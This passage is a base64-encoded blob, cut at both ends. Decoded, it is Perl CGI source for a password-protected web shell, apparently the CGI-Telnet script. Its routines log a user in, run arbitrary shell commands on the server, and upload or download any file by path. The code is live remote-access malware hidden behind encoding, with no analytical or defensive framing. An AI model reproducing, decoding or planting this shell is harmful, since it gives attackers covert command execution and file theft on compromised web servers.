CJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXI